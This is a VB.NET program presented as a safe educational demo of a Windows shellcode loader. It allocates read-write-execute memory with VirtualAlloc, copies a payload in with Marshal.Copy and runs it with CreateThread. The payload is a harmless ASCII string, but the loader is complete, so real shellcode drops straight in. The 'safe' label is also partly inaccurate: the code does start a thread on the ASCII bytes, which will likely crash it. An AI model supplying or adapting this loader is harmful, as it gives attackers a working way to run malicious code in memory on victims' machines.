Imports System
Imports System.Runtime.InteropServices
Imports System.Threading
Imports System.Text

Module ShellcodeLoaderConcept

    ' =========================================================================
    ' 1. WINDOWS API DECLARATIONS (THE TOOLS OF THE ATTACK)
    ' =========================================================================

    ' A. VirtualAlloc: Allocates a memory region, specifying its permissions.
    '    Crucial for getting EXECUTE permissions needed by shellcode.
    <DllImport("kernel32.dll", SetLastError:=True)>
    Private Function VirtualAlloc(
        lpAddress As IntPtr,
        dwSize As UInt32,
        flAllocationType As UInt32,
        flProtect As UInt32
    ) As IntPtr
    End Function

    ' B. CreateThread: Starts a new execution thread. In an attack, 
    '    lpStartAddress points directly to the malicious shellcode's memory address.
    <DllImport("kernel32.dll", SetLastError:=True)>
    Private Function CreateThread(
        lpThreadAttributes As IntPtr,
        dwStackSize As UInt32,
        lpStartAddress As IntPtr,
        lpParameter As IntPtr,
        dwCreationFlags As UInt32,
        <Out()> ByRef lpThreadId As UInt32
    ) As IntPtr
    End Function

    ' =========================================================================
    ' 2. CONSTANTS AND SAFE PAYLOAD
    ' =========================================================================

    ' The R-W-X permission flag: The critical step for shellcode execution.
    Private Const PAGE_EXECUTE_READWRITE As UInt32 = &H40
    Private Const MEM_COMMIT As UInt32 = &H1000
    Private Const MEM_RESERVE As UInt32 = &H2000

    ' --- SAFE, NON-EXECUTABLE PAYLOAD ---
    ' In a real attack, this array holds raw assembly instructions (shellcode).
    ' For safety, this array holds benign, non-executable ASCII text.
    Private ReadOnly SafePayloadBytes() As Byte = Encoding.ASCII.GetBytes("This is safe data, not executable shellcode.")

    ' =========================================================================
    ' 3. EXECUTION FLOW (THE LOADER STEPS)
    ' =========================================================================

    Sub Main()
        Console.Title = "Shellcode Loader Mechanism (Safe Demo)"
        Console.ForegroundColor = ConsoleColor.Red
        Console.WriteLine("--------------------------------------------------")
        Console.WriteLine("ATTACK FLOW DEMO: Memory Injection Mechanism")
        Console.WriteLine("--------------------------------------------------")
        Console.ResetColor()

        Dim PayloadSize As UInt32 = CUInt(SafePayloadBytes.Length)
        
        ' ---------------------------------------------------------------------
        ' STEP 1: ALLOCATE EXECUTABLE MEMORY
        ' ---------------------------------------------------------------------
        
        Console.ForegroundColor = ConsoleColor.Yellow
        Console.WriteLine(Environment.NewLine & "-> 1. VirtualAlloc: Requesting R-W-X Memory")
        Console.ResetColor()

        ' Call VirtualAlloc to reserve and commit a memory region with EXECUTE permission.
        Dim AllocatedMemoryPtr As IntPtr = VirtualAlloc(
            IntPtr.Zero,
            PayloadSize,
            MEM_COMMIT Or MEM_RESERVE,
            PAGE_EXECUTE_READWRITE ' <-- This is the attack's primary signature
        )

        If AllocatedMemoryPtr.ToInt64() = 0 Then
            Console.ForegroundColor = ConsoleColor.DarkRed
            Console.WriteLine("[ERROR] VirtualAlloc Failed. Cannot proceed.")
            Console.ResetColor()
            Return
        End If

        Console.WriteLine($"[INFO] Allocated R-W-X Memory at Address: 0x{AllocatedMemoryPtr.ToInt64():X}")

        ' ---------------------------------------------------------------------
        ' STEP 2: COPY THE PAYLOAD INTO MEMORY
        ' ---------------------------------------------------------------------
        
        Console.ForegroundColor = ConsoleColor.Yellow
        Console.WriteLine(Environment.NewLine & "-> 2. Marshal.Copy: Writing Payload Bytes")
        Console.ResetColor()

        ' Copy the payload (our safe ASCII data) into the allocated executable memory.
        ' This step is where the shellcode bytes are silently written to R-W-X memory.
        Marshal.Copy(SafePayloadBytes, 0, AllocatedMemoryPtr, SafePayloadBytes.Length)
        Console.WriteLine($"[INFO] {SafePayloadBytes.Length} bytes of safe data written to memory.")

        ' Optional: Display the written data (for debugging observation)
        Console.WriteLine($"[DEBUG] Data in memory: {Encoding.ASCII.GetString(SafePayloadBytes)}")

        ' ---------------------------------------------------------------------
        ' STEP 3: EXECUTE THE CODE (THREAD CREATION)
        ' ---------------------------------------------------------------------
        
        Console.ForegroundColor = ConsoleColor.Yellow
        Console.WriteLine(Environment.NewLine & "-> 3. CreateThread: Starting Execution")
        Console.ResetColor()

        Dim ThreadId As UInt32 = 0
        
        ' CreateThread starts a new thread, pointing its execution directly to 
        ' the start of the allocated memory (where the shellcode resides).
        Dim ThreadHandle As IntPtr = CreateThread(
            IntPtr.Zero,
            0,
            AllocatedMemoryPtr, ' <-- STARTING EXECUTION AT THE INJECTED CODE
            IntPtr.Zero,
            0,
            ThreadId
        )
        
        If ThreadHandle <> IntPtr.Zero Then
            Console.WriteLine($"[INFO] CreateThread SUCCESS. New Thread ID: {ThreadId}")
            
            Console.ForegroundColor = ConsoleColor.Green
            Console.WriteLine(Environment.NewLine & "EXECUTION FLOW COMPLETE (Safe Data Executed)")
            Console.WriteLine("The three core steps of a shellcode loader have been demonstrated.")
            Console.ResetColor()

            ' In a real attack, the CPU would attempt to execute the safe data as assembly.
            ' This typically results in an immediate crash (e.g., Access Violation or Illegal Instruction),
            ' which is why real shellcode must be meticulously crafted assembly.
            
            ' Wait briefly for the thread to attempt execution before exiting
            Thread.Sleep(500) 
        Else
            Console.ForegroundColor = ConsoleColor.DarkRed
            Console.WriteLine("[ERROR] CreateThread Failed. Execution Blocked.")
            Console.ResetColor()
        End If

        Console.WriteLine(Environment.NewLine & "Press ENTER to exit...")
        Console.ReadLine()
    End Sub

End Module
